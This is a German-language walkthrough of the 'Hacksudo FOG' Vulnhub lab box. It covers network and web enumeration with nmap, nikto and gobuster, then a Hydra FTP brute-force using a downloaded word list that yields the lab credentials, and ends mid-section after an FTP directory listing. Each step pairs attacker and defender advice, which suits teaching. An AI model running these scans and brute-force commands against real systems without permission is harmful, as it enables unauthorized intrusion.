Der erste Schritt in jedem Penetration Test ist die Reconnaissance (Aufklärung). Hierbei versuchen wir, so viele Informationen wie möglich über das Zielsystem zu sammeln. Wir beginnen damit, aktive Hosts im lokalen Netzwerk zu identifizieren.
192.168.2.114 08:00:27:30:d8:92 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen an alle möglichen IP-Adressen im lokalen Netzwerksegment, um aktive Hosts zu entdecken. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen MAC-Adressen zuzuordnen. Die Option `-l` steht für `--localnet` und weist `arp-scan` an, das lokale Netzwerk automatisch zu erkennen und zu scannen. Die Ausgabe zeigt die IP-Adresse (192.168.2.114), die MAC-Adresse (08:00:27:30:d8:92) und den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH, was oft bei VirtualBox-VMs vorkommt) eines gefundenen Hosts.
**Bewertung:** Dieser Schritt war erfolgreich. Wir haben einen aktiven Host mit der IP-Adresse 192.168.2.114 identifiziert. Dies ist unser Zielsystem für die weiteren Schritte. Die MAC-Adresse und der Hersteller deuten auf eine virtuelle Maschine hin, was für eine Übungsumgebung wie Vulnhub typisch ist.
**Empfehlung (Pentester):** Der nächste logische Schritt ist ein Portscan auf die identifizierte IP-Adresse, um offene Ports und laufende Dienste zu finden.
**Empfehlung (Admin):** ARP-Scans sind im lokalen Netzwerk schwer zu verhindern. Netzwerksegmentierung kann die Reichweite solcher Scans einschränken. Intrusion Detection Systems (IDS) können versuchen, ARP-Scan-Aktivitäten zu erkennen, dies ist jedoch oft mit Fehlalarmen verbunden.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-27 00:59 CEST
Nmap scan report for hacksudo (192.168.2.114)
Host is up (0.00012s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 62ce1b7d4e240f8ac1c9eac41e21a7f3 (RSA)
| 256 92045a0a8662b3ba00f3826ac98dae6d (ECDSA)
|_ 256 74c57c9f8d06ee0c545e65b230429849 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Hacksudo FOG
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 43063/tcp6 mountd
| 100005 1,2,3 47255/tcp mountd
| 100005 1,2,3 49333/udp6 mountd
| 100005 1,2,3 49904/udp mountd
| 100021 1,3,4 34213/tcp nlockmgr
| 100021 1,3,4 35480/udp6 nlockmgr
| 100021 1,3,4 43537/tcp6 nlockmgr
| 100021 1,3,4 48852/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
443/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Hacksudo FOG
2049/tcp open nfs_acl 3 (RPC #100227)
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
| Thread ID: 92
| Capabilities flags: 63486
| Some Capabilities: ConnectWithDatabase, SupportsLoadDataLocal, LongColumnFlag, SupportsTransactions, SupportsCompression, ....
| Status: Autocommit
| Salt: L_uPmWKR9dmv*iTJUL]n
|_ Auth Plugin Name: mysql_native_password
34213/tcp open nlockmgr 1-4 (RPC #100021)
41659/tcp open mountd 1-3 (RPC #100005)
47255/tcp open mountd 1-3 (RPC #100005)
50821/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:30:D8:92 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: hacksudo.hacksudo; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.12 ms hacksudo (192.168.2.114)
**Analyse:** Der Befehl `nmap -sS -sC -T5 -AO 192.168.2.114 -p-` führt einen umfassenden Scan des Ziels durch. * `-sS`: Führt einen TCP SYN Scan (Stealth Scan) durch, der weniger wahrscheinlich protokolliert wird als ein voller Connect-Scan. * `-sC`: Führt die Standard-Nmap-Skripte (`default` category) gegen die gefundenen offenen Ports aus, um weitere Informationen zu sammeln (z.B. Versionen, Konfigurationen, potenzielle Schwachstellen). * `-T5`: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan. Dies kann unzuverlässig sein oder Intrusion Detection Systeme auslösen, ist aber in Testumgebungen oft akzeptabel. * `-AO`: Versucht, das Betriebssystem (OS) des Ziels zu erkennen. * `192.168.2.114`: Die IP-Adresse des Ziels. * `-p-`: Scannt alle 65535 TCP-Ports. Die Ausgabe zeigt eine Liste offener Ports (21, 22, 80, 111, 443, 2049, 3306 und mehrere High-Ports für RPC-Dienste wie `mountd` und `nlockmgr`). Nmap hat auch versucht, die Dienste und Versionen zu identifizieren (Pure-FTPd, OpenSSH 7.9p1, Apache 2.4.38, rpcbind, MySQL/MariaDB). Die `-sC`-Skripte lieferten zusätzliche Details wie SSH-Hostkeys, HTTP-Titel, RPC-Informationen (zeigt NFS und Mountd an) und MySQL-Informationen. Die Betriebssystemerkennung (`-AO`) deutet auf Linux (Kernel 4.x/5.x) hin. Die MAC-Adresse bestätigt die VirtualBox-Umgebung.
**Bewertung:** Dieser Scan liefert eine Fülle von Informationen und definiert die primäre Angriffsfläche des Systems. Wir sehen mehrere potenziell interessante Dienste: * **FTP (21):** Könnte anonymen Zugriff erlauben oder anfällig für Brute-Force-Angriffe sein. * **SSH (22):** Benötigt gültige Anmeldedaten, eventuell Brute-Force möglich, aber oft gut gesichert. Die Version ist relativ aktuell. * **HTTP/S (80, 443):** Webserver sind häufige Angriffsvektoren. Wir sehen Apache 2.4.38 auf Debian und einen Titel "Hacksudo FOG". Dies erfordert weitere Untersuchung (Web Enumeration). * **RPC/NFS (111, 2049, High-Ports):** NFS (Network File System) kann falsch konfiguriert sein und unberechtigten Zugriff auf Dateifreigaben ermöglichen. * **MySQL (3306):** Datenbankserver, könnte Standard- oder schwache Passwörter verwenden oder anderweitig angreifbar sein. Die Vielzahl offener Ports, insbesondere die RPC-Dienste, deutet auf ein System hin, das möglicherweise nicht ausreichend gehärtet ist.
**Empfehlung (Pentester):**
1. FTP auf anonymen Login prüfen und gefundene Benutzer/Passwörter testen.
2. Webserver (Port 80/443) genauer untersuchen (Nikto, Gobuster, manuelle Analyse).
3. NFS-Freigaben überprüfen (`showmount -e`).
4. MySQL auf bekannte Schwachstellen oder Standard-/schwache Passwörter prüfen.
5. Die High-Ports für RPC genauer untersuchen, falls die Standarddienste keine Angriffsvektoren bieten.
**Empfehlung (Admin):**
1. Schließen Sie alle nicht benötigten Ports über eine Firewall.
2. Konfigurieren Sie FTP sicher (kein anonymer Zugriff, starke Passwörter, idealerweise FTPS).
3. Härten Sie den Webserver (aktuelle Versionen, sichere Konfiguration, Web Application Firewall).
4. Konfigurieren Sie NFS sicher (beschränkter Zugriff, `no_root_squash` vermeiden).
5. Härten Sie die MySQL-Datenbank (starke Passwörter, Zugriff nur von benötigten Hosts erlauben, aktuelle Version).
6. Deaktivieren Sie nicht benötigte RPC-Dienste.
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
443/tcp open http Apache httpd 2.4.38
2049/tcp open nfs_acl 3 (RPC #100227)
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1
34213/tcp open nlockmgr 1-4 (RPC #100021)
41659/tcp open mountd 1-3 (RPC #100005)
47255/tcp open mountd 1-3 (RPC #100005)
50821/tcp open mountd 1-3 (RPC #100005)
**Analyse:** Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe jedoch durch `grep open`. `grep` ist ein Kommandozeilen-Werkzeug zum Durchsuchen von Text nach Mustern. Hier filtert es die Nmap-Ausgabe und zeigt nur die Zeilen an, die das Wort "open" enthalten. Dies dient dazu, eine kompakte Liste der offenen TCP-Ports zu erhalten.
**Bewertung:** Dies ist keine neue Informationsgewinnung, sondern eine reine Formatierungshilfe. Es bestätigt die zuvor identifizierten offenen Ports in einer übersichtlicheren Form. Dies ist nützlich, um sich schnell einen Überblick über die Angriffsfläche zu verschaffen. Die Wiederholung des Scans selbst war hier technisch nicht notwendig, da die Information bereits vorlag, aber es zeigt eine Methode zur schnellen Filterung der Ergebnisse.
**Empfehlung (Pentester):** Verwenden Sie die gefilterte Liste als Checkliste für die weitere Enumeration der einzelnen Dienste. Fokussieren Sie sich auf die wahrscheinlichsten Angriffsvektoren (HTTP, FTP, NFS).
**Empfehlung (Admin):** Nutzen Sie gefilterte Scan-Ergebnisse, um schnell zu überprüfen, welche Dienste nach außen exponiert sind und ob dies beabsichtigt ist. Vergleichen Sie dies mit Ihrer Netzwerkdokumentation und Ihren Firewall-Regeln.
Da die Nmap-Scans offene HTTP-Ports (80 und 443) gezeigt haben, konzentrieren wir uns nun auf die Webserver. Wir verwenden spezialisierte Tools, um Webanwendungen zu untersuchen, Verzeichnisse zu finden und nach bekannten Schwachstellen zu suchen.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.114
+ Target Hostname: 192.168.2.114
+ Target Port: 80
+ Start Time: 2023-05-27 00:59:57 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 355, size: 5c2081d0bc3f3, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /cms/: Cookie CMSSESSIDb272ee47bbbb created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /cms/: This might be interesting.
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-05-27 01:00:06 (GMT2) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
**Analyse:** Der Befehl `nikto -h 192.168.2.114` startet einen Webserver-Scan mit Nikto gegen Port 80 der Ziel-IP. Nikto ist ein Scanner, der Webserver auf bekannte Schwachstellen, Konfigurationsfehler, interessante Dateien und veraltete Software überprüft. * `-h 192.168.2.114`: Gibt das Ziel an. Standardmäßig wird Port 80 gescannt. Die Ausgabe zeigt mehrere interessante Punkte: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`): Kann zu Clickjacking bzw. MIME-Sniffing-Angriffen führen. * Mögliches ETag-Inode-Leak (CVE-2003-1418): Eine alte Schwachstelle, die interne Systeminformationen preisgeben kann, aber selten direkt ausnutzbar ist. * Veraltete Apache-Version (2.4.38): Aktuellere Versionen enthalten Sicherheitsfixes. * Standard-Apache-Datei `/icons/README` gefunden: Kann auf eine Standardinstallation hindeuten und sollte entfernt werden. * `/cms/`: Ein Verzeichnis namens "cms" wurde gefunden. Dies ist ein wichtiger Fund, da es auf ein Content Management System hindeutet. * Cookie ohne `httponly`-Flag in `/cms/`: Das Session-Cookie kann potenziell per JavaScript gestohlen werden (XSS). * `/README.md`: Eine Readme-Datei im Wurzelverzeichnis gefunden, könnte Informationen enthalten.
**Bewertung:** Nikto hat wertvolle Informationen geliefert. Die wichtigsten Ergebnisse sind die veraltete Apache-Version und das Vorhandensein des `/cms/`-Verzeichnisses. Fehlende Sicherheitsheader und die Standard-Apache-Datei sind geringere Risiken, sollten aber behoben werden. Das `/cms/`-Verzeichnis ist der vielversprechendste Angriffspunkt und muss weiter untersucht werden. Das Cookie-Problem ist relevant, falls eine Cross-Site-Scripting (XSS)-Schwachstelle gefunden wird.
**Empfehlung (Pentester):**
1. Untersuchen Sie das `/cms/`-Verzeichnis mit einem Verzeichnis-Bruteforcer (z.B. Gobuster) und manuell im Browser.
2. Versuchen Sie, das verwendete CMS und seine Version zu identifizieren.
3. Suchen Sie nach bekannten Schwachstellen für die identifizierte Apache-Version und das CMS.
4. Prüfen Sie die `/README.md`-Datei auf interessante Informationen.
**Empfehlung (Admin):**
1. Aktualisieren Sie Apache auf die neueste stabile Version.
2. Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options: SAMEORIGIN`, `X-Content-Type-Options: nosniff`).
3. Entfernen Sie Standarddateien wie `/icons/README`.
4. Setzen Sie das `httponly`-Flag für alle Session-Cookies.
5. Stellen Sie sicher, dass das CMS auf dem neuesten Stand ist und sicher konfiguriert wurde. Entfernen Sie nicht benötigte Readme-Dateien.
50821/tcp open mountd 1-3 (RPC #100005)
**Analyse:** Diese Zeile scheint eine verirrte Ausgabe aus dem vorherigen Nmap-Scan zu sein, die versehentlich hier im Bericht gelandet ist. Sie zeigt einen offenen TCP-Port, der dem `mountd`-Dienst (Teil von NFS) zugeordnet ist.
**Bewertung:** Im Kontext der Web-Enumeration ist diese Zeile irrelevant. Sie gehört thematisch zur Portscan-Analyse. Solche Artefakte können bei der Berichterstellung auftreten, wenn Ausgaben kopiert werden. Für die Vollständigkeit wird sie hier dokumentiert, wie sie im Originaltext erschien.
**Empfehlung (Pentester):** Ignorieren Sie diese Zeile für die Web-Enumeration, behalten Sie aber den offenen NFS/Mountd-Port für eine spätere Untersuchung im Hinterkopf.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Netzwerkdienste korrekt dokumentiert sind und überprüfen Sie die Notwendigkeit und Sicherheit des NFS/Mountd-Dienstes. Bereinigen Sie gegebenenfalls Log- oder Berichtsartefakte.
http://192.168.2.114/index.html (Status: 200) [Size: 853]
http://192.168.2.114/index.php (Status: 302) [Size: 0] [--> /fog/index.php]
http://192.168.2.114/index1.html (Status: 200) [Size: 329]
http://192.168.2.114/cms (Status: 301) [Size: 312] [--> http://192.168.2.114/cms/]
**Analyse:** Der Befehl `gobuster dir -u http://192.168.2.114 -x [...]` verwendet Gobuster im `dir`-Modus, um nach Verzeichnissen und Dateien auf dem Webserver zu suchen. * `-u http://192.168.2.114`: Gibt die Ziel-URL an. * `-x txt,php,...`: Sucht nach Dateien mit diesen spezifischen Endungen zusätzlich zu Verzeichnissen. Die Liste scheint im Befehl abgeschnitten zu sein. Gobuster verwendet standardmäßig eine eingebaute Wortliste, wenn keine mit `-w` angegeben wird. Die Ausgabe zeigt: * `/index.html`: Eine Standard-HTML-Seite (Status 200 OK). * `/index.php`: Existiert, leitet aber weiter (`Status: 302`) zu `/fog/index.php`. Dies ist ein sehr interessanter Fund, da "fog" oft für "FOG Project" steht, eine Open-Source-Software zur Computer-Abbildverwaltung. * `/index1.html`: Eine weitere HTML-Seite. * `/cms`: Bestätigt den Fund von Nikto. Der Status 301 (Moved Permanently) leitet auf `/cms/` weiter (mit Schrägstrich am Ende), was typisch für Verzeichnisse ist.
**Bewertung:** Gobuster hat die Ergebnisse von Nikto bestätigt (`/cms`) und zusätzlich das potenziell sehr relevante Verzeichnis `/fog` (durch die Weiterleitung von `index.php`) sowie eine ungewöhnliche Datei `index1.html` aufgedeckt. Das FOG Project ist bekannt dafür, gelegentlich Schwachstellen zu haben. Sowohl `/cms` als auch `/fog` müssen weiter untersucht werden. Die Datei `index1.html` könnte ebenfalls Hinweise enthalten.
**Empfehlung (Pentester):**
1. Untersuchen Sie `/fog/index.php` im Browser. Versuchen Sie, die FOG-Version zu identifizieren.
2. Untersuchen Sie `/cms/` weiter mit Gobuster (mit einer spezifischen Wortliste) und manuell.
3. Sehen Sie sich den Inhalt von `/index1.html` an.
4. Fügen Sie `hacksudo.hmv` (aus dem späteren Gobuster-Scan ersichtlich) zur lokalen `/etc/hosts`-Datei hinzu, um Namensauflösung zu ermöglichen, da die Anwendung dies zu verwenden scheint.
**Empfehlung (Admin):**
1. Entfernen Sie nicht benötigte Dateien und Verzeichnisse vom Webserver (z.B. `index1.html`, falls nicht produktiv genutzt).
2. Stellen Sie sicher, dass sowohl das CMS als auch FOG Project (falls im Einsatz) auf dem neuesten Stand sind und sicher konfiguriert wurden.
3. Beschränken Sie den Zugriff auf administrative Schnittstellen wie FOG oder CMS auf autorisierte Netzwerke/IPs.
----------------------------------------------------------------------------------------------------
view-source:http://hacksudo.hmv/index1.html
hacksudo-fogTEAM
-- caesar-cipher == https://github.com/hacksudo/SoundStegno -- >
-- box author : hacksudo --
----------------------------------------------------------------------------------------------------
**Analyse:** Dies ist kein Befehl, sondern die Darstellung des Quellcodes der zuvor gefundenen Datei `index1.html` auf dem Host `hacksudo.hmv` (der Name muss vermutlich lokal in der `/etc/hosts`-Datei des Angreifers auf die IP 192.168.2.114 gemappt werden). Der Quellcode enthält Kommentare mit Hinweisen: "hacksudo-fogTEAM", "caesar-cipher", ein GitHub-Link zu "SoundStegno" und der Autor der Box ("hacksudo").
**Bewertung:** Diese Hinweise sind extrem wertvoll. Sie deuten auf die Verwendung von Caesar-Verschlüsselung und einem Steganografie-Tool namens "SoundStegno" hin. Dies sind wichtige Schlüssel für spätere Phasen des Angriffs, insbesondere wenn verschlüsselte Nachrichten oder versteckte Daten in Audiodateien gefunden werden. Der Name `hacksudo.hmv` bestätigt, dass der Webserver unter diesem Hostnamen ansprechbar ist.
**Empfehlung (Pentester):**
1. Notieren Sie sich die Hinweise auf Caesar-Verschlüsselung und SoundStegno.
2. Besuchen Sie den GitHub-Link, um das SoundStegno-Tool herunterzuladen oder sich damit vertraut zu machen.
3. Fügen Sie `192.168.2.114 hacksudo.hmv` zur lokalen `/etc/hosts`-Datei hinzu.
4. Fahren Sie mit der Enumeration von `/cms` und `/fog` fort, nun unter Verwendung des Hostnamens `hacksudo.hmv`.
**Empfehlung (Admin):** Entfernen Sie solche expliziten Hinweise und Entwicklerkommentare aus produktiven Webanwendungen. Kommentare im Quellcode können Angreifern wertvolle Informationen liefern. Konfigurieren Sie den Webserver so, dass er nur auf Anfragen für den vorgesehenen Hostnamen reagiert.
==============================================================================================================================
http://hacksudo.hmv/cms/index.php (Status: 200) [Size: 19679]
http://hacksudo.hmv/cms/modules (Status: 301) [Size: 318] [--> http://hacksudo.hmv/cms/modules/]
http://hacksudo.hmv/cms/uploads (Status: 301) [Size: 318] [--> http://hacksudo.hmv/cms/uploads/]
http://hacksudo.hmv/cms/doc (Status: 301) [Size: 314] [--> http://hacksudo.hmv/cms/doc/]
http://hacksudo.hmv/cms/admin (Status: 301) [Size: 316] [--> http://hacksudo.hmv/cms/admin/]
http://hacksudo.hmv/cms/assets (Status: 301) [Size: 317] [--> http://hacksudo.hmv/cms/assets/]
http://hacksudo.hmv/cms/lib (Status: 301) [Size: 314] [--> http://hacksudo.hmv/cms/lib/]
http://hacksudo.hmv/cms/config.php (Status: 200) [Size: 0]
http://hacksudo.hmv/dict.txt (Status: 200) [Size: 1798]
==============================================================================================================================
**Analyse:** Dieser Gobuster-Befehl scannt nun gezielt das Verzeichnis `/cms` auf dem Host `hacksudo.hmv`. * `-u http://hacksudo.hmv/cms`: Gibt das spezifischere Zielverzeichnis an. * `-x [...]`: Eine umfangreiche Liste von Dateiendungen wird gesucht. * `-w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Verwendet eine bekannte Wortliste von SecLists für die Suche nach Verzeichnissen und Dateien. * `-b '403,404'`: Blendet Fehlercodes 403 (Forbidden) und 404 (Not Found) aus, um die Ausgabe übersichtlicher zu gestalten. * `-e`: Erweitert den Modus, um auch nach URLs ohne Schrägstrich am Ende zu suchen. * `--no-error`: Unterdrückt Fehlermeldungen während des Scans. Die Ausgabe zeigt mehrere Standardverzeichnisse eines CMS (`modules`, `uploads`, `doc`, `admin`, `assets`, `lib`), eine leere `config.php` und eine sehr interessante Datei: `dict.txt`.
**Bewertung:** Der Fund von `dict.txt` ist höchstwahrscheinlich signifikant. Der Name legt nahe, dass es sich um eine Wörterbuchdatei handelt, die möglicherweise Passwörter oder Benutzernamen enthält. Das `admin`-Verzeichnis ist ebenfalls ein wichtiges Ziel für weitere Untersuchungen. Die leere `config.php` ist ungewöhnlich, normalerweise enthalten solche Dateien Datenbankzugangsdaten; vielleicht wurden sie entfernt oder an anderer Stelle gespeichert.
**Empfehlung (Pentester):**
1. Laden Sie die Datei `dict.txt` herunter und untersuchen Sie ihren Inhalt. Sie könnte für Brute-Force-Angriffe nützlich sein.
2. Untersuchen Sie das `/cms/admin`-Verzeichnis im Browser, um die Login-Seite des CMS zu finden.
3. Versuchen Sie weiterhin, das spezifische CMS und seine Version zu identifizieren (z.B. durch Untersuchen von `index.php` oder Metadaten).
**Empfehlung (Admin):**
1. Entfernen Sie sensible Dateien wie Wörterbuchlisten (`dict.txt`) oder Konfigurationsbackups aus öffentlich zugänglichen Webverzeichnissen.
2. Beschränken Sie den Zugriff auf administrative Verzeichnisse (`/admin`) auf vertrauenswürdige IP-Adressen.
3. Stellen Sie sicher, dass Konfigurationsdateien (`config.php`) keine sensiblen Informationen preisgeben und außerhalb des Web-Roots gespeichert werden, falls möglich.
--2023-05-27 01:52:39-- http://hacksudo.hmv/dict.txt
Auflösen des Hostnamens hacksudo.hmv (hacksudo.hmv)… 192.168.2.114
Verbindungsaufbau zu hacksudo.hmv (hacksudo.hmv)|192.168.2.114|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1798 (1,8K) [text/plain]
Wird in »dict.txt« gespeichert.
dict.txt 100%[=============================>] 1,76K --.-KB/s in 0s
2023-05-27 01:52:39 (401 MB/s) - »dict.txt« gespeichert [1798/1798]
**Analyse:** Der Befehl `wget http://hacksudo.hmv/dict.txt` verwendet das Werkzeug `wget`, um die zuvor entdeckte Datei `dict.txt` vom Webserver herunterzuladen. `wget` ist ein einfaches Kommandozeilenprogramm zum Herunterladen von Dateien über HTTP, HTTPS oder FTP. Die Ausgabe bestätigt, dass der Hostname `hacksudo.hmv` korrekt zur IP 192.168.2.114 aufgelöst wurde, die Verbindung erfolgreich war (Status 200 OK) und die Datei `dict.txt` mit einer Größe von 1.8 KB gespeichert wurde.
**Bewertung:** Das Herunterladen der Datei war erfolgreich. Der Inhalt dieser Datei ist nun lokal verfügbar und kann analysiert werden. Dies ist ein entscheidender Schritt, da diese Datei wahrscheinlich für den nächsten Angriffsschritt, einen Brute-Force-Angriff, benötigt wird.
**Empfehlung (Pentester):**
1. Öffnen Sie die heruntergeladene `dict.txt` und analysieren Sie ihren Inhalt. Suchen Sie nach potenziellen Benutzernamen und Passwörtern.
2. Bereiten Sie die Datei für die Verwendung mit Brute-Force-Tools wie Hydra vor.
**Empfehlung (Admin):** Wie bereits erwähnt, verhindern Sie, dass solche sensiblen Dateien über den Webserver zugänglich sind. Implementieren Sie regelmäßige Scans nach exponierten sensiblen Dateien.
Nach der Enumeration versuchen wir nun, einen ersten Zugriff auf das System zu erlangen (Initial Access). Basierend auf den Funden (offener FTP-Port, heruntergeladene `dict.txt`) versuchen wir einen Brute-Force-Angriff auf den FTP-Dienst.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-27 01:53:22
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 196 login tries (l:1/p:196), ~4 tries per task
[DATA] attacking ftp://hacksudo.hmv:21/
[STATUS] 152.00 tries/min, 152 tries in 00:01h, 88 to do in 00:01h, 20 active
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[21][ftp] host: hacksudo.hmv login: hacksudo password: hackme
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
**Analyse:** Der Befehl `hydra -l hacksudo -P dict.txt ftp://hacksudo.hmv:21 -t 64` startet einen Brute-Force-Angriff mit Hydra gegen den FTP-Dienst. * `hydra`: Das Brute-Force-Tool. * `-l hacksudo`: Gibt einen spezifischen Benutzernamen (`hacksudo`) an, der getestet werden soll. Dieser Benutzername wurde möglicherweise erraten (basierend auf dem Hostnamen) oder aus einer anderen Quelle bezogen. * `-P dict.txt`: Gibt die zuvor heruntergeladene Datei `dict.txt` als Passwortliste an. Hydra wird jedes Passwort aus dieser Liste für den Benutzer `hacksudo` ausprobieren. * `ftp://hacksudo.hmv:21`: Gibt das Zielprotokoll (FTP), den Hostnamen und den Port (21) an. * `-t 64`: Setzt die Anzahl der parallelen Tasks auf 64, um den Angriff zu beschleunigen. Hydra fand erfolgreich eine gültige Kombination: Benutzer `hacksudo` mit dem Passwort `hackme`. Die Warnung bezüglich einer `hydra.restore`-Datei deutet darauf hin, dass dieser Angriff möglicherweise zuvor schon einmal ausgeführt wurde.
**Bewertung:** Dies ist ein bedeutender Erfolg! Wir haben gültige Anmeldedaten für den FTP-Dienst gefunden. Dies gewährt uns wahrscheinlich Lese- und möglicherweise Schreibzugriff auf Dateien auf dem Server. Die Verwendung eines sehr schwachen Passworts ("hackme") stellt eine erhebliche Sicherheitslücke dar.
**Empfehlung (Pentester):**
1. Melden Sie sich mit den gefundenen Zugangsdaten (`hacksudo`:`hackme`) am FTP-Server an.
2. Untersuchen Sie die Verzeichnisstruktur und laden Sie alle interessanten Dateien herunter.
3. Prüfen Sie, ob Schreibrechte vorhanden sind und ob Dateien hochgeladen werden können (z.B. eine Webshell).
**Empfehlung (Admin):**
1. Ändern Sie sofort das Passwort für den Benutzer `hacksudo`.
2. Implementieren Sie eine Richtlinie für starke Passwörter und setzen Sie diese durch.
3. Erwägen Sie Mechanismen zur Abwehr von Brute-Force-Angriffen wie `fail2ban` oder eine Web Application Firewall (WAF) mit entsprechenden Regeln, auch für FTP.
4. Überprüfen Sie regelmäßig die Notwendigkeit von FTP-Zugängen und deaktivieren Sie ungenutzte Konten.
Connected to 192.168.2.114.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:55. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.2.114:cyber): hacksudo
331 User hacksudo OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Extended Passive mode OK (|||52030|)
150 Accepted data connection
drwxr-xr-x 3 1002 ftpgroup 4096 May 7 2021 .
drwxr-xr-x 3 1002 ftpgroup 4096 May 7 2021 ..
-rw-r--r-- 1 33 33 389 May 7 2021 flag1.txt
drwxr-xr-x 2 0 0 4096 May 6 2021 hacksudo_ISRO_bak
226-Options: -a -l
226 4 matches total
**Analyse:** Der Befehl `ftp 192.168.2.114` startet den Standard-FTP-Client, um eine Verbindung zum Zielserver herzustellen. Nach der Verbindungsaufnahme wird der Benutzername `hacksudo` und das zuvor gefundene Passwort `hackme` (das hier nicht im Klartext angezeigt wird) eingegeben. Die Anmeldung ist erfolgreich (`230 OK`). Der Befehl `ls -la` wird innerhalb der FTP-Sitzung ausgeführt, um den Inhalt des aktuellen Verzeichnisses (`/`) auf dem FTP-Server detailliert aufzulisten. Die Ausgabe zeigt eine Datei `flag1.txt` und ein Verzeichnis `hacksudo_ISRO_bak`. Die Berechtigungen (`drwxr-xr-x`, `-rw-r--r--`) und Besitzer/Gruppen (`1002`/`ftpgroup`, `33`/`33`, `0`/`0`) sind ebenfalls sichtbar.
**Bewertung:** Die Anmeldung war erfolgreich, was den vorherigen Hydra-Fund bestätigt. Wir haben nun interaktiven Zugriff auf das FTP-Verzeichnis des Benutzers `hacksudo`. Die Datei `flag1.txt` ist wahrscheinlich ein Hinweis oder eine Trophäe im Rahmen der CTF-Box. Das Verzeichnis `hacksudo_ISRO_bak` klingt nach einem Backup und könnte sensible Informationen enthalten. ISRO ist die indische Weltraumforschungsorganisation, was ein thematischer Hinweis sein könnte.
**Empfehlung (Pentester):**
1. Laden Sie die Datei `flag1.txt` herunter und lesen Sie ihren Inhalt.
2. Untersuchen Sie das Verzeichnis `hacksudo_ISRO_bak` genauer (wechseln Sie hinein oder laden Sie es rekursiv herunter).
3. Prüfen Sie weiterhin die Berechtigungen und ob Dateien hochgeladen werden können.
**Empfehlung (Admin):**
